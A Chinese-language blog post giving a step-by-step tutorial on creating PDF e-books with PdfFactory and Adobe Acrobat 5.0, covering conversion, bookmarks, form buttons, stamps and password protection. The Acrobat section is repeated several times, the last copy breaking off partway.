我的人生路  
          日歷
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789
          統計
          • 隨筆 - 74
          • 文章 - 57
          • 評論 - 7
          • 引用 - 0

          導航

          常用鏈接

          留言簿(5)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          相冊

          顏色

          搜索

          •  

          最新評論

          閱讀排行榜

          評論排行榜

           

           PDF文檔是由Adobe公司開發的一種電子文檔格式,它能夠完整地保留源文檔中的所有字體、格式、顏色和圖形,并且具有跨平臺、可以加密等眾多優秀特性。現在許多報紙、雜志、小說都采用了PDF文檔作為其專用保存的電子書籍格式,它已經成為全世界電子文檔公開的事實標準。如果你也想制作PDF文檔,那么你可以試試PdfFactory這個軟件,使用它我們可以像打印普通文檔一樣來把文件“打印”成PDF文檔,非常方便。它是一款共享軟件,可在任何版本的Windows系統下運行。
          下載安裝好PdfFactory后,我們在打印機控制面板中就可以找到一臺由PdfFactory虛擬出來的打印機。

            下面我們以Word文檔為例,講解一下如何使用常用程序把普通文檔“打印”成PDF文檔。

            首先啟動Word程序并打開或新建一篇文檔,然后單擊“文件”菜單中的“打印”命令進入打印設置窗口(如圖1)。這里我們在“打印機名稱”下拉菜單中選擇由PdfFactory虛擬出來的打印機。

          圖1選擇由PdfFactory虛擬出來的打印機

            選擇完打印機后單擊窗口中的“確定”按鈕進入PDF文檔轉換設置窗口。

            Preview(預覽)標簽頁

            在預覽標簽頁內我們可以對即將要“打印”出的PDF文檔進行預覽,單擊鼠標可以對文檔進行縮放查看。

            Fonts(字體)標簽頁

            在字體標簽頁內我們可以確定是否把當前Word文檔中使用到的所有字體都內嵌到PDF文檔中去,或者只內嵌指定的字體(如圖2)。

          圖2選擇內嵌字體

            DocInfo文檔信息標簽頁

            在文檔信息標簽頁內我們可以設置PDF文檔的一些基本信息,如標題(Title)、主題(Subject)、作者(Author)、關鍵字(Keywords)等等。

            在我們設置完所需選項的參數后,就可以單擊窗口中的“保存”按鈕把當前的Word文檔“打印”成PDF文檔了!然后我們就可以用Adobe Acrobat Reader打開并進行閱讀我們制作好的PDF文檔了。同樣在其他的常用程序中我們也可以把所需的文檔或圖片“打印”成PDF文檔,比如Photoshop、IE、畫圖、記事本等等都可以,有興趣的朋友可自行一試。

            在前面,我們介紹了EXE、PDF、LIT這三種格式電子書的制作方式,其中的PDF制作軟件PDTDriver小巧,但是功能遠不及AdobeAcrobat強大。因此,下面就重點討論如何用AdobeAcrobat軟件來制作一本PDF格式的電子圖書,讓令狐大俠也在PDF世界中“笑傲”一次吧。
            制作PDF格式的電子圖書當然少不了AdobeAcrobat,它與AdobeAcrobatReader并不完全相同,雖然是同一家公司的產品,但AdobeAcrobatReader僅僅是一個用于瀏覽PDF文檔的閱讀工具;而AdobeAcrobat軟件則可以用來創建和改善PDF文件,是一款商業軟件,集成了Postscript和PDF相關工具的軟件開發包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等軟件。我們不但可以像使用AdobeAcrobatReader一樣來瀏覽、導航、打印PDF文件,而且還能使用它來創建自己的PDF文件,如果你使用了完全版本,那么可以將任何格式的文件包括從紙上掃描來的文件轉換為PDF格式,并且提高文件的導航、保密和注解功能,你還可以使用Acrobat來創建PDF表單,可以將剪切下來的文本和表單粘貼到PDF文件中,也可以將PDF文件中的文本和表單剪切粘貼至其它文件中。
            最新版本:5.0文件大小:95627KB軟件授權:共享軟件使用平臺:Windows9x/Me下載地址:http//www.adobe.com一、軟件的安裝AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亞洲語言支持包,差不多超過100MB,因此你是從http//www.adobe.com下載共享版本的話,可要稍微耐心一些喲!
            軟件的安裝過程很簡單,基本上一路“Next”就可以了,不過在這里要提醒的是最好使用“Custom”方式安裝,否則是不會同時安裝AcrobatPDFWriter程序的。還有一點,在安裝亞洲語言支持包時一定要將它安裝到“AdobeAcrobat”自己的目錄下,不能指向下面的Reader子目錄,否則閱讀中文PDF文檔時只能顯示空碼。軟件安裝結束后,安裝程序會要求重啟動系統。
            二、跟我學做PDF文檔這里要說明的是,AdobeAcrobat并不能創建一個空白的PDF文檔,我們必須從其它軟件導入電子文檔。最簡單的一種方法是將文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中選擇打印到PDF,下面就跟我學吧:
            1.拖放方式這一種方式最為簡單,我們只需同時打開AdobeAcrobat和資源管理器,找到《笑傲江湖》的Word文檔圖標,然后直接拖放到AdobeAcrobat窗口中,程序即會自動將它轉換為PDF文檔,2.通過“打印”命令創建PDF文檔PDFWriter可以將文檔快速打印成PDF格式,不過如果你的文檔比較大或者其中含有聲音、圖像、動畫等豐富的多媒體信息時,建議還是使用AcrobatDistiller較為合適一些。
            首先在Word97/2000中打開要創建成PDF文檔的文件(任何格式均可,只要Word可以打開),然后從“文件”菜單中選擇“打印”命令,請不要選擇工具欄的打印圖標,因為這種方式無法改變打印機的名稱,除非你已經在“打印機設置”中將AcrobatPDFWriter設置為缺省打印機。
            待出現“打印”對話框后,從“打印機名稱”下拉列表框中選擇“AcrobatPDFWriter”,輸入頁碼范圍,然后單擊“打印”或“確定”按鈕即可(如圖1所示),接著會出現一個如圖2所示的“另存為”對話框,我們可以在這里為PDF文件輸入一個文件名和保存路徑,從圖2中可以看到其下有“EditDocumentinfo”(編輯文檔信息)和“ViewPDFFile”兩個選項,前者可以打開如圖3所示的“AcrobatPDFWriterDocumentInformation”對話框,你可以在這里輸入標題、作者、關鍵詞等信息,后者可以自動在Acrobat中打開新的PDF文件。
            一切設置完成后,點擊“保存”按鈕,AcrobatPDFWriter就會在后臺對文檔進行轉換,轉換的時間視文檔大小和內容而定,如果只是一些文本信息,那么轉換的速度應該是很快的。現在,你就可以運行AdobeAcrobatReader或AdobeAcrobat程序,打開剛才創建的PDF文件,如圖4所示,令狐大俠的形象就在你的眼前了。
            3.使用CreateAdobePDF命令創建PDF文檔從“文件→CreateAdobePDF”菜單下可以看到一共有Print和Preferences兩個命令,如圖5所示,首先最好選擇“CreateAdobePDF→Preferences”命令,打開“AdobePDFMakerPreferences”對話框,對有關的選項進行一些設置,因為在轉換過程中PDFMaker將會把Word文件中的一些信息和結構對應轉換為PDF文件的信息和結構,如Word中的頭部將被轉換為PDF文件的書簽,Word中的URL將被轉換為PDF的網頁鏈接,Word中的交叉參照將被轉換為PDF的內部鏈接,Word中的文件屬性將被轉換為PDF的文件信息等等。
            接下來,只要使用“CreateAdobePDF→Print”命令就可以將文檔轉換為PDF格式。
            AcrobatDistiller是一個將Postscript文件轉換為PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文檔可以保留源文件中全部內容,包括其中的格式和圖形,而且與PDFWriter相比,它可以更精確地控制轉換過程。
            不過,為了使Distiller能夠創建PDF文檔,系統中必須安裝一個PostScript打印機驅動程序和一個DistillerPostScript打印機說明(即PPD文件),Acrobat缺省安裝包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驅動程序。
            使用Distiller創建PDF文檔有3種方式進行:
            ⑴直接拖放文件只要找到相應文件,然后將文件圖標直接拖放到Distiller圖標或Acrobat窗口的標題欄上。
            ⑵將Acrobat中打開的文件另存在AdobeAcrobat程序中,從“File”菜單中選擇“Open”命令,在“打開”對話框中的“文件類型”下拉列表框中選擇“AllFiles(.)”,然后找到欲轉換為PDF的文件,單擊“打開”按鈕,最后將它另存為一個新的PDF格式的文件就可以了。
            ⑶通過“打印”命令創建其實這一種方式與前面談到的使用PDFWriter創建PDF文檔的方法差不多,只不過這次是從“打印機名稱”下拉列表框中選擇“AcrobatDistiller”而已(如圖6所示),其它的沒有什么區別。
            由于AdobeAcrobat的圖形編輯、處理能力等并不是很出色,筆者建議最好先使用其它軟件完成文字輸入、圖片的處理、整體排版等工作,這樣可以省去很多功夫。
            三、對PDF文檔進行美化如果你只是想自己學會制作PDF格式的電子圖書,那么上面提到的4種方法都可以達到目的。不過,為了讓這本自主版權《笑傲江湖》電子圖書閱讀起來更為方便(同時也是為了提升它的檔次),那么請繼續隨我來吧:
            1.設置合適的頁面大小打開《笑傲江湖》電子文檔,選擇單頁布局方式,然后切換到第一頁,雙擊工具欄上的裁剪工具,或者從“Document”菜單中執行“CropPages”命令,將會看到的“CropPages”對話框,在這里你可以調整文檔中一頁或所有頁面的頁邊距。
            在Top、Left、Right、Bottom列表框(圖7)中可以對上、左、右、下頁邊距進行精確的調整,選擇“All”可以將頁邊距應用到整個文檔,選擇“Fromto”則是將頁邊距應用到指定頁面。在“Crop”下拉列表框中還可以選擇所有頁面、偶數和奇數頁面、僅奇數頁面、僅偶數頁面等選項。裁剪工具并不減小文件的大小,不過這一操作無法撤銷,因此在執行前請仔細檢查。
            2.插入遺漏章節有時候,你可能在制作完成后,才忽然發覺漏掉其中的某一章節,這可怎么辦,總不成全部重來吧?當然不需要,AdobeAcrobat可以很輕松完成這一切。
            首先,打開已完成部分的《笑傲江湖》電子文檔,然后從“Document”菜單中執行“InsertPages”命令,選擇準備添加的源文檔,選擇好后會彈出一個對話框詢問源文檔的插入位置(圖8),可以從“Location”下拉列表框中選擇Before、After,確定文檔的插入位置可以規定源文檔是插在第一頁、最后一頁、輸入的頁碼之前或之后等,一切選擇好后,點擊“確定”按鈕就可以完成添加工作,假如還有其它章節需要插入,可以按照剛才的方法繼續添加。當然,更為簡單的方法是從資源管理器直接將欲合并的PDF文檔拖放至已打開的主文檔區,以后的步驟完全一致。
            3.設置文本屬性使用“TouchUpTexttool”工具選擇所需的文字,然后選擇快捷命令“Properties”,在如圖9所示的對話框中設置文本的字體、大小、顏色等屬性,不過這里要提醒的是盡量使用系統默認的宋體,以便減少字體尺寸,如果你無法確認使用的字體在對方的系統中是否安裝,可以勾選“Embed”嵌入,不過這樣做會使PDF文檔變得非常大,一般情況下不推薦如此做。
            4.創建書簽書簽提供了直觀目錄,通常代表文檔中的章節和其它組織項目,這樣會使讀者的閱讀輕松不少。
            在導航欄中點擊“Bookmarks”圖標,再點擊“Bookmars”右下角的小箭頭,選擇“NewsBookmark”命令,輸入書簽名字如“第一章《滅門》”,按回車鍵確定,然后右擊該書簽,選擇“Properties”命令,在如圖10所示的“BookmarkProperties”對話框中進行有關項目的設置,如在“Action”的“Type”下拉列表框中選擇“GotoView”,然后在對話框外切換到所需要的頁面,并調整好顯示比例,最后點擊“SetAction”按鈕完成。其它如第二章《聆秘》、第三章《救難》等書簽可按照同樣的方法制作,最后制作好的標簽如圖11所示。
            5.制作MouseOver按鈕如果你的AdobeAcrobat是完全版本的話,那么就可以利用Form工具來控制頁面的觸發事件,例如在頁面打開時播放一段你喜歡的MP3音樂,或者通過具有MouseOver效果鏈接的圖標來打開一個特定的文件、電影片段等,這樣在閱讀時除了視覺的享受之外還可以聽到美妙的音樂呢!
            下面就以制作帶有OnMouse效果的跳轉頁面按鈕為例介紹:
            單擊左側工具欄中的“FormTool”工具,這時光標將變成一個十字形的圖標,利用它在頁面上拖出一個區域,你馬上就可以看到如圖12所示的“FieldProperties”對話框:
            Name:為這個表單起一個唯一的名字Type:這是一個下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七種類型,這里當然選擇“Button(按鈕)”啦。
            ShortDescription:在這里可以輸入一些簡單的說明文字,方便以后的查找。
            發下是六個標簽頁,點擊后可以進行不同的設置。
            Appearance:在“Border”區,我們可以定義按鈕邊框、背景顏色、寬度和邊框的類型;在“Text”區,可以定義文字的顏色、字體、大小;在“CommonProperties”區可以定義注釋的類型和邊框可見方式。
            Options:在“Aligment”下拉列表框中,你可以選擇觸發事件時是使用鼠標的左鍵、中鍵、右鍵,系統缺省是使用左鍵。
            Actions:定義詳細的觸發事件,在左邊的“Whenthishappens”框中,建議選擇“MouseUp”,右邊則是定義當事件觸發時,發生什么事件,點擊“Add”按鈕可以在圖中看到一共有13種選項可供選擇,如果你想產生切換頁面的效果,可以選擇JavaScript項。
            Format、Validate、Calculate等標簽頁并無多大實用意義,可以取默認值,這里就不多介紹了。
            完成所有設置后,點擊“確定”按鈕,一個“MouseOver”樣式的按鈕就制作完成,如果你愿意,還可以在“Action”中加入聲音、動畫等。
            6.給PDF文檔加印章你也可像在一個紙張文檔上使用橡皮印章一樣,用Acrobat來給你的文檔蓋上一個印章。下面你將給文章的封面加蓋一個印章。
            (1)在頁面框上移動指針直到它變為一個I字光標,然后雙擊突出的當前頁碼。
            (2)在批注工具上按住鼠標按鈕以顯示一套隱藏工具,拖動并選取印章工具。(如圖13)
            (3)單擊頁面的左上角。默認時,出現“批準”印章。
            你可從Acrobat印章庫中選擇另一個不同的印章。
            (4)選擇“編輯”→“屬性”。
            (5)從“分類”菜單中選取“標準”,從對話框左面窗口的列表中選擇“草稿”,并單擊“確定”。
            (6)選擇手形工具,在文檔窗口內單擊以取消選取的印章。
            除了從Acrobat印章庫使用印章外,你可創建你自己定義的印章,并以批注方式來使用它們。
            (7)選擇“文件”→“保存”以保存該文件。
            7.文檔加密設置如果你不希望別人對你制作的PDF電子書做修改或者其他一些損害你利益的事情,建議你對文檔進行加密設置。加密設置具體如下:
            單擊Acrobat菜單“File”→“DocumentSecurity”選項,在彈出的對話框中的“SecurityOptions”下拉菜單中選擇“AcrobatStandardSecurity”選項,彈出對話框(圖14):
            如果希望用戶需要密碼才能閱讀,請選擇“PasswordRequiredtoOpenDocument”(并輸入用戶打開文檔時需要的密碼)。
            建議選擇“PasswordRequiredtoChangePermissionsandPasswords”選項,即只有制作者才可以修改文檔信息及文檔安全性密碼。
            在“EncryptionLevel”(加密級別)中可以選擇使用的加密級別:包括40-bit和128-bit兩種方式,其中128-bit只能針對5.0版本,所以建議選擇40-bit即可,以確保文檔的向下兼容。
            我們這里還選擇了“NoChangingtheDocument”,即不允許用戶修改文檔中的任何部分。如果需要禁止用戶打印和復制文檔中的文字和圖片還可以勾選“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”選項。如果不允許用戶加入或者改變注釋、表格域可以勾選“NoAddingorChangingCommentsandFormFields”選項。
            設置完所有設置以后,點擊OK關掉對話框即可。
            總的來說,AdobeAcrobat是一款功能極其強大的電子文檔制作工具,除了制作、閱讀PDF文檔以外,你還可以使用AdobeAcrobat實現在PDF文檔中加入JavaScript腳本、將PDF文檔作為電子郵件的郵件發送出去、在網頁中使用PDF文檔、添加電影和聲音剪輯文件、編輯PDF頁面中的圖形/圖像對象、圖文演示等功能,不過由于篇幅所限,在這里就不多作介紹了。  在前面,我們介紹了EXE、PDF、LIT這三種格式電子書的制作方式,其中的PDF制作軟件PDTDriver小巧,但是功能遠不及AdobeAcrobat強大。因此,下面就重點討論如何用AdobeAcrobat軟件來制作一本PDF格式的電子圖書,讓令狐大俠也在PDF世界中“笑傲”一次吧。
            制作PDF格式的電子圖書當然少不了AdobeAcrobat,它與AdobeAcrobatReader并不完全相同,雖然是同一家公司的產品,但AdobeAcrobatReader僅僅是一個用于瀏覽PDF文檔的閱讀工具;而AdobeAcrobat軟件則可以用來創建和改善PDF文件,是一款商業軟件,集成了Postscript和PDF相關工具的軟件開發包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等軟件。我們不但可以像使用AdobeAcrobatReader一樣來瀏覽、導航、打印PDF文件,而且還能使用它來創建自己的PDF文件,如果你使用了完全版本,那么可以將任何格式的文件包括從紙上掃描來的文件轉換為PDF格式,并且提高文件的導航、保密和注解功能,你還可以使用Acrobat來創建PDF表單,可以將剪切下來的文本和表單粘貼到PDF文件中,也可以將PDF文件中的文本和表單剪切粘貼至其它文件中。
            最新版本:5.0文件大小:95627KB軟件授權:共享軟件使用平臺:Windows9x/Me下載地址:http//www.adobe.com一、軟件的安裝AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亞洲語言支持包,差不多超過100MB,因此你是從http//www.adobe.com下載共享版本的話,可要稍微耐心一些喲!
            軟件的安裝過程很簡單,基本上一路“Next”就可以了,不過在這里要提醒的是最好使用“Custom”方式安裝,否則是不會同時安裝AcrobatPDFWriter程序的。還有一點,在安裝亞洲語言支持包時一定要將它安裝到“AdobeAcrobat”自己的目錄下,不能指向下面的Reader子目錄,否則閱讀中文PDF文檔時只能顯示空碼。軟件安裝結束后,安裝程序會要求重啟動系統。
            二、跟我學做PDF文檔這里要說明的是,AdobeAcrobat并不能創建一個空白的PDF文檔,我們必須從其它軟件導入電子文檔。最簡單的一種方法是將文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中選擇打印到PDF,下面就跟我學吧:
            1.拖放方式這一種方式最為簡單,我們只需同時打開AdobeAcrobat和資源管理器,找到《笑傲江湖》的Word文檔圖標,然后直接拖放到AdobeAcrobat窗口中,程序即會自動將它轉換為PDF文檔,2.通過“打印”命令創建PDF文檔PDFWriter可以將文檔快速打印成PDF格式,不過如果你的文檔比較大或者其中含有聲音、圖像、動畫等豐富的多媒體信息時,建議還是使用AcrobatDistiller較為合適一些。
            首先在Word97/2000中打開要創建成PDF文檔的文件(任何格式均可,只要Word可以打開),然后從“文件”菜單中選擇“打印”命令,請不要選擇工具欄的打印圖標,因為這種方式無法改變打印機的名稱,除非你已經在“打印機設置”中將AcrobatPDFWriter設置為缺省打印機。
            待出現“打印”對話框后,從“打印機名稱”下拉列表框中選擇“AcrobatPDFWriter”,輸入頁碼范圍,然后單擊“打印”或“確定”按鈕即可(如圖1所示),接著會出現一個如圖2所示的“另存為”對話框,我們可以在這里為PDF文件輸入一個文件名和保存路徑,從圖2中可以看到其下有“EditDocumentinfo”(編輯文檔信息)和“ViewPDFFile”兩個選項,前者可以打開如圖3所示的“AcrobatPDFWriterDocumentInformation”對話框,你可以在這里輸入標題、作者、關鍵詞等信息,后者可以自動在Acrobat中打開新的PDF文件。
            一切設置完成后,點擊“保存”按鈕,AcrobatPDFWriter就會在后臺對文檔進行轉換,轉換的時間視文檔大小和內容而定,如果只是一些文本信息,那么轉換的速度應該是很快的。現在,你就可以運行AdobeAcrobatReader或AdobeAcrobat程序,打開剛才創建的PDF文件,如圖4所示,令狐大俠的形象就在你的眼前了。
            3.使用CreateAdobePDF命令創建PDF文檔從“文件→CreateAdobePDF”菜單下可以看到一共有Print和Preferences兩個命令,如圖5所示,首先最好選擇“CreateAdobePDF→Preferences”命令,打開“AdobePDFMakerPreferences”對話框,對有關的選項進行一些設置,因為在轉換過程中PDFMaker將會把Word文件中的一些信息和結構對應轉換為PDF文件的信息和結構,如Word中的頭部將被轉換為PDF文件的書簽,Word中的URL將被轉換為PDF的網頁鏈接,Word中的交叉參照將被轉換為PDF的內部鏈接,Word中的文件屬性將被轉換為PDF的文件信息等等。
            接下來,只要使用“CreateAdobePDF→Print”命令就可以將文檔轉換為PDF格式。
            AcrobatDistiller是一個將Postscript文件轉換為PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文檔可以保留源文件中全部內容,包括其中的格式和圖形,而且與PDFWriter相比,它可以更精確地控制轉換過程。
            不過,為了使Distiller能夠創建PDF文檔,系統中必須安裝一個PostScript打印機驅動程序和一個DistillerPostScript打印機說明(即PPD文件),Acrobat缺省安裝包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驅動程序。
            使用Distiller創建PDF文檔有3種方式進行:
            ⑴直接拖放文件只要找到相應文件,然后將文件圖標直接拖放到Distiller圖標或Acrobat窗口的標題欄上。
            ⑵將Acrobat中打開的文件另存在AdobeAcrobat程序中,從“File”菜單中選擇“Open”命令,在“打開”對話框中的“文件類型”下拉列表框中選擇“AllFiles(.)”,然后找到欲轉換為PDF的文件,單擊“打開”按鈕,最后將它另存為一個新的PDF格式的文件就可以了。
            ⑶通過“打印”命令創建其實這一種方式與前面談到的使用PDFWriter創建PDF文檔的方法差不多,只不過這次是從“打印機名稱”下拉列表框中選擇“AcrobatDistiller”而已(如圖6所示),其它的沒有什么區別。
            由于AdobeAcrobat的圖形編輯、處理能力等并不是很出色,筆者建議最好先使用其它軟件完成文字輸入、圖片的處理、整體排版等工作,這樣可以省去很多功夫。
            三、對PDF文檔進行美化如果你只是想自己學會制作PDF格式的電子圖書,那么上面提到的4種方法都可以達到目的。不過,為了讓這本自主版權《笑傲江湖》電子圖書閱讀起來更為方便(同時也是為了提升它的檔次),那么請繼續隨我來吧:
            1.設置合適的頁面大小打開《笑傲江湖》電子文檔,選擇單頁布局方式,然后切換到第一頁,雙擊工具欄上的裁剪工具,或者從“Document”菜單中執行“CropPages”命令,將會看到的“CropPages”對話框,在這里你可以調整文檔中一頁或所有頁面的頁邊距。
            在Top、Left、Right、Bottom列表框(圖7)中可以對上、左、右、下頁邊距進行精確的調整,選擇“All”可以將頁邊距應用到整個文檔,選擇“Fromto”則是將頁邊距應用到指定頁面。在“Crop”下拉列表框中還可以選擇所有頁面、偶數和奇數頁面、僅奇數頁面、僅偶數頁面等選項。裁剪工具并不減小文件的大小,不過這一操作無法撤銷,因此在執行前請仔細檢查。
            2.插入遺漏章節有時候,你可能在制作完成后,才忽然發覺漏掉其中的某一章節,這可怎么辦,總不成全部重來吧?當然不需要,AdobeAcrobat可以很輕松完成這一切。
            首先,打開已完成部分的《笑傲江湖》電子文檔,然后從“Document”菜單中執行“InsertPages”命令,選擇準備添加的源文檔,選擇好后會彈出一個對話框詢問源文檔的插入位置(圖8),可以從“Location”下拉列表框中選擇Before、After,確定文檔的插入位置可以規定源文檔是插在第一頁、最后一頁、輸入的頁碼之前或之后等,一切選擇好后,點擊“確定”按鈕就可以完成添加工作,假如還有其它章節需要插入,可以按照剛才的方法繼續添加。當然,更為簡單的方法是從資源管理器直接將欲合并的PDF文檔拖放至已打開的主文檔區,以后的步驟完全一致。
            3.設置文本屬性使用“TouchUpTexttool”工具選擇所需的文字,然后選擇快捷命令“Properties”,在如圖9所示的對話框中設置文本的字體、大小、顏色等屬性,不過這里要提醒的是盡量使用系統默認的宋體,以便減少字體尺寸,如果你無法確認使用的字體在對方的系統中是否安裝,可以勾選“Embed”嵌入,不過這樣做會使PDF文檔變得非常大,一般情況下不推薦如此做。
            4.創建書簽書簽提供了直觀目錄,通常代表文檔中的章節和其它組織項目,這樣會使讀者的閱讀輕松不少。
            在導航欄中點擊“Bookmarks”圖標,再點擊“Bookmars”右下角的小箭頭,選擇“NewsBookmark”命令,輸入書簽名字如“第一章《滅門》”,按回車鍵確定,然后右擊該書簽,選擇“Properties”命令,在如圖10所示的“BookmarkProperties”對話框中進行有關項目的設置,如在“Action”的“Type”下拉列表框中選擇“GotoView”,然后在對話框外切換到所需要的頁面,并調整好顯示比例,最后點擊“SetAction”按鈕完成。其它如第二章《聆秘》、第三章《救難》等書簽可按照同樣的方法制作,最后制作好的標簽如圖11所示。
            5.制作MouseOver按鈕如果你的AdobeAcrobat是完全版本的話,那么就可以利用Form工具來控制頁面的觸發事件,例如在頁面打開時播放一段你喜歡的MP3音樂,或者通過具有MouseOver效果鏈接的圖標來打開一個特定的文件、電影片段等,這樣在閱讀時除了視覺的享受之外還可以聽到美妙的音樂呢!
            下面就以制作帶有OnMouse效果的跳轉頁面按鈕為例介紹:
            單擊左側工具欄中的“FormTool”工具,這時光標將變成一個十字形的圖標,利用它在頁面上拖出一個區域,你馬上就可以看到如圖12所示的“FieldProperties”對話框:
            Name:為這個表單起一個唯一的名字Type:這是一個下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七種類型,這里當然選擇“Button(按鈕)”啦。
            ShortDescription:在這里可以輸入一些簡單的說明文字,方便以后的查找。
            發下是六個標簽頁,點擊后可以進行不同的設置。
            Appearance:在“Border”區,我們可以定義按鈕邊框、背景顏色、寬度和邊框的類型;在“Text”區,可以定義文字的顏色、字體、大小;在“CommonProperties”區可以定義注釋的類型和邊框可見方式。
            Options:在“Aligment”下拉列表框中,你可以選擇觸發事件時是使用鼠標的左鍵、中鍵、右鍵,系統缺省是使用左鍵。
            Actions:定義詳細的觸發事件,在左邊的“Whenthishappens”框中,建議選擇“MouseUp”,右邊則是定義當事件觸發時,發生什么事件,點擊“Add”按鈕可以在圖中看到一共有13種選項可供選擇,如果你想產生切換頁面的效果,可以選擇JavaScript項。
            Format、Validate、Calculate等標簽頁并無多大實用意義,可以取默認值,這里就不多介紹了。
            完成所有設置后,點擊“確定”按鈕,一個“MouseOver”樣式的按鈕就制作完成,如果你愿意,還可以在“Action”中加入聲音、動畫等。
            6.給PDF文檔加印章你也可像在一個紙張文檔上使用橡皮印章一樣,用Acrobat來給你的文檔蓋上一個印章。下面你將給文章的封面加蓋一個印章。
            (1)在頁面框上移動指針直到它變為一個I字光標,然后雙擊突出的當前頁碼。
            (2)在批注工具上按住鼠標按鈕以顯示一套隱藏工具,拖動并選取印章工具。(如圖13)
            (3)單擊頁面的左上角。默認時,出現“批準”印章。
            你可從Acrobat印章庫中選擇另一個不同的印章。
            (4)選擇“編輯”→“屬性”。
            (5)從“分類”菜單中選取“標準”,從對話框左面窗口的列表中選擇“草稿”,并單擊“確定”。
            (6)選擇手形工具,在文檔窗口內單擊以取消選取的印章。
            除了從Acrobat印章庫使用印章外,你可創建你自己定義的印章,并以批注方式來使用它們。
            (7)選擇“文件”→“保存”以保存該文件。
            7.文檔加密設置如果你不希望別人對你制作的PDF電子書做修改或者其他一些損害你利益的事情,建議你對文檔進行加密設置。加密設置具體如下:
            單擊Acrobat菜單“File”→“DocumentSecurity”選項,在彈出的對話框中的“SecurityOptions”下拉菜單中選擇“AcrobatStandardSecurity”選項,彈出對話框(圖14):
            如果希望用戶需要密碼才能閱讀,請選擇“PasswordRequiredtoOpenDocument”(并輸入用戶打開文檔時需要的密碼)。
            建議選擇“PasswordRequiredtoChangePermissionsandPasswords”選項,即只有制作者才可以修改文檔信息及文檔安全性密碼。
            在“EncryptionLevel”(加密級別)中可以選擇使用的加密級別:包括40-bit和128-bit兩種方式,其中128-bit只能針對5.0版本,所以建議選擇40-bit即可,以確保文檔的向下兼容。
            我們這里還選擇了“NoChangingtheDocument”,即不允許用戶修改文檔中的任何部分。如果需要禁止用戶打印和復制文檔中的文字和圖片還可以勾選“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”選項。如果不允許用戶加入或者改變注釋、表格域可以勾選“NoAddingorChangingCommentsandFormFields”選項。
            設置完所有設置以后,點擊OK關掉對話框即可。
            總的來說,AdobeAcrobat是一款功能極其強大的電子文檔制作工具,除了制作、閱讀PDF文檔以外,你還可以使用AdobeAcrobat實現在PDF文檔中加入JavaScript腳本、將PDF文檔作為電子郵件的郵件發送出去、在網頁中使用PDF文檔、添加電影和聲音剪輯文件、編輯PDF頁面中的圖形/圖像對象、圖文演示等功能,不過由于篇幅所限,在這里就不多作介紹了。  在前面,我們介紹了EXE、PDF、LIT這三種格式電子書的制作方式,其中的PDF制作軟件PDTDriver小巧,但是功能遠不及AdobeAcrobat強大。因此,下面就重點討論如何用AdobeAcrobat軟件來制作一本PDF格式的電子圖書,讓令狐大俠也在PDF世界中“笑傲”一次吧。
            制作PDF格式的電子圖書當然少不了AdobeAcrobat,它與AdobeAcrobatReader并不完全相同,雖然是同一家公司的產品,但AdobeAcrobatReader僅僅是一個用于瀏覽PDF文檔的閱讀工具;而AdobeAcrobat軟件則可以用來創建和改善PDF文件,是一款商業軟件,集成了Postscript和PDF相關工具的軟件開發包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等軟件。我們不但可以像使用AdobeAcrobatReader一樣來瀏覽、導航、打印PDF文件,而且還能使用它來創建自己的PDF文件,如果你使用了完全版本,那么可以將任何格式的文件包括從紙上掃描來的文件轉換為PDF格式,并且提高文件的導航、保密和注解功能,你還可以使用Acrobat來創建PDF表單,可以將剪切下來的文本和表單粘貼到PDF文件中,也可以將PDF文件中的文本和表單剪切粘貼至其它文件中。
            最新版本:5.0文件大小:95627KB軟件授權:共享軟件使用平臺:Windows9x/Me下載地址:http//www.adobe.com一、軟件的安裝AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亞洲語言支持包,差不多超過100MB,因此你是從http//www.adobe.com下載共享版本的話,可要稍微耐心一些喲!
            軟件的安裝過程很簡單,基本上一路“Next”就可以了,不過在這里要提醒的是最好使用“Custom”方式安裝,否則是不會同時安裝AcrobatPDFWriter程序的。還有一點,在安裝亞洲語言支持包時一定要將它安裝到“AdobeAcrobat”自己的目錄下,不能指向下面的Reader子目錄,否則閱讀中文PDF文檔時只能顯示空碼。軟件安裝結束后,安裝程序會要求重啟動系統。
            二、跟我學做PDF文檔這里要說明的是,AdobeAcrobat并不能創建一個空白的PDF文檔,我們必須從其它軟件導入電子文檔。最簡單的一種方法是將文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中選擇打印到PDF,下面就跟我學吧:
            1.拖放方式這一種方式最為簡單,我們只需同時打開AdobeAcrobat和資源管理器,找到《笑傲江湖》的Word文檔圖標,然后直接拖放到AdobeAcrobat窗口中,程序即會自動將它轉換為PDF文檔,2.通過“打印”命令創建PDF文檔PDFWriter可以將文檔快速打印成PDF格式,不過如果你的文檔比較大或者其中含有聲音、圖像、動畫等豐富的多媒體信息時,建議還是使用AcrobatDistiller較為合適一些。
